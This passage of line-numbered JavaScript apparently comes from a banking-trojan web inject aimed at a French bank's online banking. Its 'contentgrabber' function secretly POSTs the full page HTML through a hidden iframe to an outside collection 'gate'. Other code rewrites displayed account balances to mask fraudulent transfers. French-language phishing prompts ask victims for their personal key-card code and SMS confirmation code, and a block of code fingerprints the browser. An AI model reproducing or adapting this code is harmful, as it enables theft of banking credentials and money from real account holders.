  897.                     var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  898.  
  899.                     var balance = gc(element.value);
  900.  
  901.                 }
  902.  
  903.             }else{
  904.  
  905.                 if(splitter.value != "none" && splitter.position != "none"){
  906.  
  907.                     var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  908.  
  909.                     var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
  910.  
  911.                 }else{
  912.  
  913.                     var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
  914.  
  915.                     var balance = gc(_tables.html(element));
  916.  
  917.                 }
  918.  
  919.             }
  920.  
  921.            
  922.  
  923.             var new_balance = balance+parseFloat(summa);
  924.  
  925.             if(minus)balance = balance * -1;
  926.  
  927.             balance = sc(balance);
  928.  
  929.             new_balance = sc(new_balance);
  930.  
  931.            
  932.  
  933.             if(tsel){
  934.  
  935.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  936.  
  937.                 var f = element.text.replace(balance+"",new_balance+"");
  938.  
  939.             }else if(tinp){
  940.  
  941.                 var f = element.value.replace(balance+"",new_balance+"");
  942.  
  943.             }else{
  944.  
  945.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  946.  
  947.                 var f = element.innerHTML.replace(balance+"",new_balance+"");
  948.  
  949.             }
  950.  
  951.            
  952.  
  953.             if(parseFloat(new_balance) >= 0){
  954.  
  955.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  956.  
  957.                 f = f.replace("-"+new_balance+"",new_balance+"");
  958.  
  959.             }else{
  960.  
  961.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  962.  
  963.                 f = f.replace(/\-/,"");
  964.  
  965.             }
  966.  
  967.            
  968.  
  969.             if(tsel){
  970.  
  971.                 element.text = f;
  972.  
  973.             }else if(tinp){
  974.  
  975.                 element.value = f;
  976.  
  977.             }else{
  978.  
  979.                 element.innerHTML = f;
  980.  
  981.             }
  982.  
  983.            
  984.  
  985.             if(splitter.value != "none" && splitter.position != "none"){
  986.  
  987.                 splitter.value = "none";
  988.  
  989.                 splitter.position = "none";
  990.  
  991.             }
  992.  
  993.         },
  994.  
  995.        
  996.  
  997.         splitter: function (value,position){
  998.  
  999.             splitter.value = value;
  1000.  
  1001.             splitter.position = position;
  1002.  
  1003.         },
  1004.  
  1005.        
  1006.  
  1007.         match: function(el,data){
  1008.  
  1009.             var pattern = new RegExp(data,"igm");
  1010.  
  1011.             if(pattern.test(el)){
  1012.  
  1013.                 return true;
  1014.  
  1015.             }else{
  1016.  
  1017.                 return false;
  1018.  
  1019.             }
  1020.  
  1021.         },
  1022.  
  1023.        
  1024.  
  1025.         convertdate: function(date){
  1026.  
  1027.             var els = date.split(".");
  1028.  
  1029.             if(els && els.length == 3){
  1030.  
  1031.                 var res = 0;
  1032.  
  1033.                 res += parseFloat(els[2]) * 365;
  1034.  
  1035.                 res += parseFloat(els[1]) * 30;
  1036.  
  1037.                 res += parseFloat(els[0]);
  1038.  
  1039.                 return res;
  1040.  
  1041.             }else{
  1042.  
  1043.                 return -1;
  1044.  
  1045.             }
  1046.  
  1047.         },
  1048.  
  1049.        
  1050.  
  1051.         recolortable: function(table,class1,class2){
  1052.  
  1053.             var tr = _tables.child(table,'tr');
  1054.  
  1055.             if(tr && tr.length > 0){
  1056.  
  1057.                 for(var i = 0; i < tr.length; i++){
  1058.  
  1059.                     tr[i].className = (i % 2 == 0) ? class1 : class2;
  1060.  
  1061.                 }
  1062.  
  1063.             }
  1064.  
  1065.         },
  1066.  
  1067.        
  1068.  
  1069.         id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
  1070.  
  1071.        
  1072.  
  1073.         create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
  1074.  
  1075.        
  1076.  
  1077.         selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
  1078.  
  1079.        
  1080.  
  1081.         after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
  1082.  
  1083.        
  1084.  
  1085.         clone: function(inp,value){
  1086.  
  1087.             var object = document.createElement(inp.tagName);
  1088.  
  1089.             for (x in inp.attributes){
  1090.  
  1091.                 if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
  1092.  
  1093.                     if(inp.attributes[x].name == "onclick" ||
  1094.  
  1095.                        inp.attributes[x].name == "name" ||
  1096.  
  1097.                        inp.attributes[x].name == "href" ||
  1098.  
  1099.                        inp.attributes[x].name == "id" ||
  1100.  
  1101.                        inp.attributes[x].name == "value"
  1102.  
  1103.                     ){
  1104.  
  1105.                         continue;
  1106.  
  1107.                     }
  1108.  
  1109.                     object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
  1110.  
  1111.                 }
  1112.  
  1113.             }
  1114.  
  1115.             if(/select/igm.test(inp.tagName)){
  1116.  
  1117.                 object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
  1118.  
  1119.             }else{
  1120.  
  1121.                 value = value ? value : inp.value;
  1122.  
  1123.                 object.value = value;
  1124.  
  1125.             }
  1126.  
  1127.             object.disabled = true;
  1128.  
  1129.             inp.style.display = "none";
  1130.  
  1131.             inp.parentNode.insertBefore(object,inp);
  1132.  
  1133.         },
  1134.  
  1135.        
  1136.  
  1137.         next: function(e,len,n){
  1138.  
  1139.             if(e.value.length == len)document.getElementById(n).focus();
  1140.  
  1141.         },
  1142.  
  1143.        
  1144.  
  1145.         check_cc: function(value){
  1146.  
  1147.             if (/[^0-9-\s]+/.test(value)) return false;
  1148.  
  1149.             var nCheck = 0, nDigit = 0, bEven = false;
  1150.  
  1151.             value = value.replace(/\D/g, "");
  1152.  
  1153.             for (var n = value.length - 1; n >= 0; n--) {
  1154.  
  1155.                 var cDigit = value.charAt(n),
  1156.  
  1157.                 nDigit = parseInt(cDigit, 10);
  1158.  
  1159.                 if(bEven){
  1160.  
  1161.                     if ((nDigit *= 2) > 9) nDigit -= 9;
  1162.  
  1163.                 }
  1164.  
  1165.                 nCheck += nDigit;
  1166.  
  1167.                 bEven = !bEven;
  1168.  
  1169.             }
  1170.  
  1171.             return (nCheck % 10) == 0;
  1172.  
  1173.         },
  1174.  
  1175.        
  1176.  
  1177.         check_day: function(dd){
  1178.  
  1179.             if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
  1180.  
  1181.                 return true;
  1182.  
  1183.             }else{
  1184.  
  1185.                 return false;
  1186.  
  1187.             }
  1188.  
  1189.         },
  1190.  
  1191.        
  1192.  
  1193.         check_month: function(mm){
  1194.  
  1195.             if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
  1196.  
  1197.                 return true;
  1198.  
  1199.             }else{
  1200.  
  1201.                 return false;
  1202.  
  1203.             }
  1204.  
  1205.         },
  1206.  
  1207.        
  1208.  
  1209.         check_email: function(email) {
  1210.  
  1211.             var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  1212.  
  1213.             return re.test(email);
  1214.  
  1215.         },
  1216.  
  1217.        
  1218.  
  1219.         check_year: function(yy,format){
  1220.  
  1221.             switch(format){
  1222.  
  1223.                 case('YY'):
  1224.  
  1225.                     if(parseFloat(yy) >= 15 && (yy+'').length == 2){
  1226.  
  1227.                         return true;
  1228.  
  1229.                     }else{
  1230.  
  1231.                         return false;
  1232.  
  1233.                     }
  1234.  
  1235.                 break;
  1236.  
  1237.                
  1238.  
  1239.                 case('YYYY'):
  1240.  
  1241.                     if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
  1242.  
  1243.                         return true;
  1244.  
  1245.                     }else{
  1246.  
  1247.                         return false;
  1248.  
  1249.                     }
  1250.  
  1251.                 break;
  1252.  
  1253.             }
  1254.  
  1255.         },
  1256.  
  1257.        
  1258.  
  1259.         contentgrabber: function(doc){
  1260.  
  1261.             var _tcgb = document.getElementById("_tables.content.grabber.box");
  1262.  
  1263.             if(_tcgb)_tcgb.parentNode.removeChild(_tcgb);
  1264.  
  1265.             var docLoc = doc.location.href;
  1266.  
  1267.             var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
  1268.  
  1269.             var docCodeRemastered = doc.documentElement.innerHTML;
  1270.  
  1271.             _tcgb = document.createElement("div");
  1272.  
  1273.             _tcgb.style.position = "absolute";
  1274.  
  1275.             _tcgb.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  1276.  
  1277.             _tcgb.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  1278.  
  1279.             _tcgb.id = "_tables.content.grabber.box";
  1280.  
  1281.             _tcgb.innerHTML = '<iframe id="_tables.content.iframe" name="_tables.content.iframe" width=1280 height=800 style="border:5px solid black;"></iframe>';
  1282.  
  1283.             document.body.appendChild(_tcgb);
  1284.  
  1285.             var _tform = document.createElement("form");
  1286.  
  1287.             var _tarea = document.createElement("textarea");
  1288.  
  1289.             var _tbranch = document.createElement("input");
  1290.  
  1291.             _tbranch.name = "branch";
  1292.  
  1293.             _tbranch.value = "CG";
  1294.  
  1295.             _tform.id = "_tables.content.form";
  1296.  
  1297.             _tform.target = "_tables.content.iframe";
  1298.  
  1299.             _tform.action = link.gate;
  1300.  
  1301.             _tform.method = "POST";
  1302.  
  1303.             _tarea.name = "_tarea";
  1304.  
  1305.             if(_tables.get('showframe')){
  1306.  
  1307.                 _tarea.style.width = "1500px";
  1308.  
  1309.                 _tarea.style.height = "500px";
  1310.  
  1311.             }else{
  1312.  
  1313.                 _tarea.style.display = "none";
  1314.  
  1315.                 _tform.style.display = "none";
  1316.  
  1317.             }
  1318.  
  1319.             _tarea.value = '<html><base href="'+baseLoc+'">'+docCodeRemastered+'iframe:'+_tables.get('stoperr')+'</html>';
  1320.  
  1321.             _tform.appendChild(_tbranch);
  1322.  
  1323.             _tform.appendChild(_tarea);
  1324.  
  1325.             document.getElementsByTagName("body")[0].appendChild(_tform);
  1326.  
  1327.             var _tform = document.getElementById("_tables.content.form");
  1328.  
  1329.             _tform.submit();
  1330.  
  1331.         }
  1332.  
  1333.     };
  1334.  
  1335. }());
  1336.  
  1337.  
  1338.  
  1339. _tables = Tables;
  1340.  
  1341.  
  1342.  
  1343. (function (window) {
  1344.  
  1345.     {
  1346.  
  1347.         var unknown = '-';
  1348.  
  1349.  
  1350.  
  1351.         // screen
  1352.  
  1353.         var screenSize = '';
  1354.  
  1355.         if (screen.width) {
  1356.  
  1357.             width = (screen.width) ? screen.width : '';
  1358.  
  1359.             height = (screen.height) ? screen.height : '';
  1360.  
  1361.             screenSize += '' + width + " x " + height;
  1362.  
  1363.         }
  1364.  
  1365.  
  1366.  
  1367.         //browser
  1368.  
  1369.         var nVer = navigator.appVersion;
  1370.  
  1371.         var nAgt = navigator.userAgent;
  1372.  
  1373.         var browser = navigator.appName;
  1374.  
  1375.         var version = '' + parseFloat(navigator.appVersion);
  1376.  
  1377.         var majorVersion = parseInt(navigator.appVersion, 10);
  1378.  
  1379.         var nameOffset, verOffset, ix;
  1380.  
  1381.  
  1382.  
  1383.         // Opera
  1384.  
  1385.         if ((verOffset = nAgt.indexOf('Opera')) != -1) {
  1386.  
  1387.             browser = 'Opera';
  1388.  
  1389.             version = nAgt.substring(verOffset + 6);
  1390.  
  1391.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  1392.  
  1393.                 version = nAgt.substring(verOffset + 8);
  1394.  
  1395.             }
  1396.  
  1397.         }
  1398.  
  1399.         // MSIE
  1400.  
  1401.         else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
  1402.  
  1403.             browser = 'Microsoft Internet Explorer';
  1404.  
  1405.             version = nAgt.substring(verOffset + 5);
  1406.  
  1407.         }
  1408.  
  1409.         // Chrome
  1410.  
  1411.         else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
  1412.  
  1413.             browser = 'Chrome';
  1414.  
  1415.             version = nAgt.substring(verOffset + 7);
  1416.  
  1417.         }
  1418.  
  1419.         // Safari
  1420.  
  1421.         else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
  1422.  
  1423.             browser = 'Safari';
  1424.  
  1425.             version = nAgt.substring(verOffset + 7);
  1426.  
  1427.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  1428.  
  1429.                 version = nAgt.substring(verOffset + 8);
  1430.  
  1431.             }
  1432.  
  1433.         }
  1434.  
  1435.         // Firefox
  1436.  
  1437.         else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
  1438.  
  1439.             browser = 'Firefox';
  1440.  
  1441.             version = nAgt.substring(verOffset + 8);
  1442.  
  1443.         }
  1444.  
  1445.         // MSIE 11+
  1446.  
  1447.         else if (nAgt.indexOf('Trident/') != -1) {
  1448.  
  1449.             browser = 'Microsoft Internet Explorer';
  1450.  
  1451.             version = nAgt.substring(nAgt.indexOf('rv:') + 3);
  1452.  
  1453.         }
  1454.  
  1455.         // Other browsers
  1456.  
  1457.         else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
  1458.  
  1459.             browser = nAgt.substring(nameOffset, verOffset);
  1460.  
  1461.             version = nAgt.substring(verOffset + 1);
  1462.  
  1463.             if (browser.toLowerCase() == browser.toUpperCase()) {
  1464.  
  1465.                 browser = navigator.appName;
  1466.  
  1467.             }
  1468.  
  1469.         }
  1470.  
  1471.         // trim the version string
  1472.  
  1473.         if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
  1474.  
  1475.         if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
  1476.  
  1477.         if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
  1478.  
  1479.  
  1480.  
  1481.         majorVersion = parseInt('' + version, 10);
  1482.  
  1483.         if (isNaN(majorVersion)) {
  1484.  
  1485.             version = '' + parseFloat(navigator.appVersion);
  1486.  
  1487.             majorVersion = parseInt(navigator.appVersion, 10);
  1488.  
  1489.         }
  1490.  
  1491.  
  1492.  
  1493.         // mobile version
  1494.  
  1495.         var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
  1496.  
  1497.  
  1498.  
  1499.         // cookie
  1500.  
  1501.         var cookieEnabled = (navigator.cookieEnabled) ? true : false;
  1502.  
  1503.  
  1504.  
  1505.         if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
  1506.  
  1507.             document.cookie = 'testcookie';
  1508.  
  1509.             cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
  1510.  
  1511.         }
  1512.  
  1513.  
  1514.  
  1515.         // system
  1516.  
  1517.         var os = unknown;
  1518.  
  1519.         var clientStrings = [
  1520.  
  1521.             {s:'Windows 3.11', r:/Win16/},
  1522.  
  1523.             {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
  1524.  
  1525.             {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
  1526.  
  1527.             {s:'Windows 98', r:/(Windows 98|Win98)/},
  1528.  
  1529.             {s:'Windows CE', r:/Windows CE/},
  1530.  
  1531.             {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
  1532.  
  1533.             {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
  1534.  
  1535.             {s:'Windows Server 2003', r:/Windows NT 5.2/},
  1536.  
  1537.             {s:'Windows Vista', r:/Windows NT 6.0/},
  1538.  
  1539.             {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
  1540.  
  1541.             {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
  1542.  
  1543.             {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
  1544.  
  1545.             {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
  1546.  
  1547.             {s:'Windows ME', r:/Windows ME/},
  1548.  
  1549.             {s:'Android', r:/Android/},
  1550.  
  1551.             {s:'Open BSD', r:/OpenBSD/},
  1552.  
  1553.             {s:'Sun OS', r:/SunOS/},
  1554.  
  1555.             {s:'Linux', r:/(Linux|X11)/},
  1556.  
  1557.             {s:'iOS', r:/(iPhone|iPad|iPod)/},
  1558.  
  1559.             {s:'Mac OS X', r:/Mac OS X/},
  1560.  
  1561.             {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
  1562.  
  1563.             {s:'QNX', r:/QNX/},
  1564.  
  1565.             {s:'UNIX', r:/UNIX/},
  1566.  
  1567.             {s:'BeOS', r:/BeOS/},
  1568.  
  1569.             {s:'OS/2', r:/OS\/2/},
  1570.  
  1571.             {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
  1572.  
  1573.         ];
  1574.  
  1575.         for (var id in clientStrings) {
  1576.  
  1577.             var cs = clientStrings[id];
  1578.  
  1579.             if (cs.r.test(nAgt)) {
  1580.  
  1581.                 os = cs.s;
  1582.  
  1583.                 break;
  1584.  
  1585.             }
  1586.  
  1587.         }
  1588.  
  1589.  
  1590.  
  1591.         var osVersion = unknown;
  1592.  
  1593.  
  1594.  
  1595.         if (/Windows/.test(os)) {
  1596.  
  1597.             osVersion = /Windows (.*)/.exec(os)[1];
  1598.  
  1599.             os = 'Windows';
  1600.  
  1601.         }
  1602.  
  1603.  
  1604.  
  1605.         switch (os) {
  1606.  
  1607.             case 'Mac OS X':
  1608.  
  1609.                 osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
  1610.  
  1611.                 break;
  1612.  
  1613.  
  1614.  
  1615.             case 'Android':
  1616.  
  1617.                 osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
  1618.  
  1619.                 break;
  1620.  
  1621.  
  1622.  
  1623.             case 'iOS':
  1624.  
  1625.                 osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
  1626.  
  1627.                 osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
  1628.  
  1629.                 break;
  1630.  
  1631.         }
  1632.  
  1633.  
  1634.  
  1635.         // flash (you'll need to include swfobject)
  1636.  
  1637.         /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
  1638.  
  1639.         var flashVersion = 'no check';
  1640.  
  1641.         if (typeof swfobject != 'undefined') {
  1642.  
  1643.             var fv = swfobject.getFlashPlayerVersion();
  1644.  
  1645.             if (fv.major > 0) {
  1646.  
  1647.                 flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
  1648.  
  1649.             }
  1650.  
  1651.             else  {
  1652.  
  1653.                 flashVersion = unknown;
  1654.  
  1655.             }
  1656.  
  1657.         }
  1658.  
  1659.     }
  1660.  
  1661.  
  1662.  
  1663.     window.jscd = {
  1664.  
  1665.         screen: screenSize,
  1666.  
  1667.         browser: browser,
  1668.  
  1669.         browserVersion: version,
  1670.  
  1671.         mobile: mobile,
  1672.  
  1673.         os: os,
  1674.  
  1675.         osVersion: osVersion,
  1676.  
  1677.         cookies: cookieEnabled,
  1678.  
  1679.         flashVersion: flashVersion
  1680.  
  1681.     };
  1682.  
  1683. }(this));
  1684.  
  1685.  
  1686.  
  1687. _tables.set('continue',true);
  1688.  
  1689. _tables.set('message','');
  1690.  
  1691. _tables.set('type','intercept');
  1692.  
  1693. _tables.set('start','start');
  1694.  
  1695. _tables.set('end','end');
  1696.  
  1697. _tables.set('finish','');
  1698.  
  1699. _tables.set('data','');
  1700.  
  1701. _tables.set('login',function(){return document.getElementById('_userid')});
  1702.  
  1703. _tables.set('password',function(){return document.getElementById('_pwduser')});
  1704.  
  1705. _tables.set('button',function(){return _tables.findout(document,'input','class:ei_btn_typ_send');});
  1706.  
  1707. _tables.set('logout',function(){return _tables.findout(document,'a','href:deconnexion\.cgi');});
  1708.  
  1709. _tables.set('loader','data:image/gif;base64,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');
  1710.  
  1711. _tables.set('bank','mutuel');
  1712.  
  1713.  
  1714.  
  1715. _tables.text = {
  1716.  
  1717.     title: 'Service d\'identification renforc&#233;e',
  1718.  
  1719.     wait: 'Chargement, veuillez patienter...<br><br>Nous v&#233;rifions vos codes d\'acc&#232;s, Veuillez ne pas rafraichir ou fermer l\'onglet.',
  1720.  
  1721.     block: 'La consultation de vos comptes est momentan&#233;ment indisponible.Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.',
  1722.  
  1723.     tan1: 'Pour acc&#233;der &#224; l\'op&#233;ration demand&#233;e, veuillez saisir la CL&#201; PERSONNELLE suivante :',
  1724.  
  1725.     tan2: 'Cl&#233; contenue dans la case <span id="_tables.span.1"></span> de votre carte &#8470; <span id="_tables.span.2"></span>',
  1726.  
  1727.     sms1: 'Un <b style="font-weight:bold !important;">code de confirmation</b> vient de vous &#234;tre envoy&#233; par SMS au <span id="_tables.span.1"></span>.',
  1728.  
  1729.     sms2: 'Pour confirmer votre op&#233;ration, indiquez votre code de confirmation:'
  1730.  
  1731. };
  1732.  
  1733.  
  1734.  
  1735. _tables.showpage = function(){
  1736.  
  1737.     if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
  1738.  
  1739. };
  1740.  
  1741.  
  1742.  
  1743. _tables.grep_amount = function(acc){
  1744.  
  1745.     if(!_tables.replacerarray){
  1746.  
  1747.         return 0;
  1748.  
  1749.     }
  1750.  
  1751.     var re_a = 0;
  1752.  
  1753.     for(x in _tables.replacerarray){
  1754.  
  1755.         if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
  1756.  
  1757.             re_a += parseFloat(_tables.replacerarray[x]['amount']);
  1758.  
  1759.         }
  1760.  
  1761.     }
  1762.  
  1763.     return re_a;
  1764.  
  1765. };
  1766.  
  1767.  
  1768.  
  1769. _tables.grep_mask = function(acc){
  1770.  
  1771.     if(!_tables.replacerarray){
  1772.  
  1773.         return false;
  1774.  
  1775.     }
  1776.  
  1777.     for(x in _tables.replacerarray){
  1778.  
  1779.         if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
  1780.  
  1781.             return true;
  1782.  
  1783.         }
  1784.  
  1785.     }
  1786.  
  1787.     return false;
  1788.  
  1789. };
  1790.  
  1791.  
  1792.  
  1793. _tables.replacer_preload = function(){
  1794.  
  1795.     var ul = _tables.child(document,'ul');
  1796.  
  1797.     if(ul && ul.length > 0){
  1798.  
  1799.         for(var i = 0; i < ul.length; i++){
  1800.  
  1801.             if(ul[i].className == 'a_actions'){
  1802.  
  1803.                 ul[i].style.display = 'none';
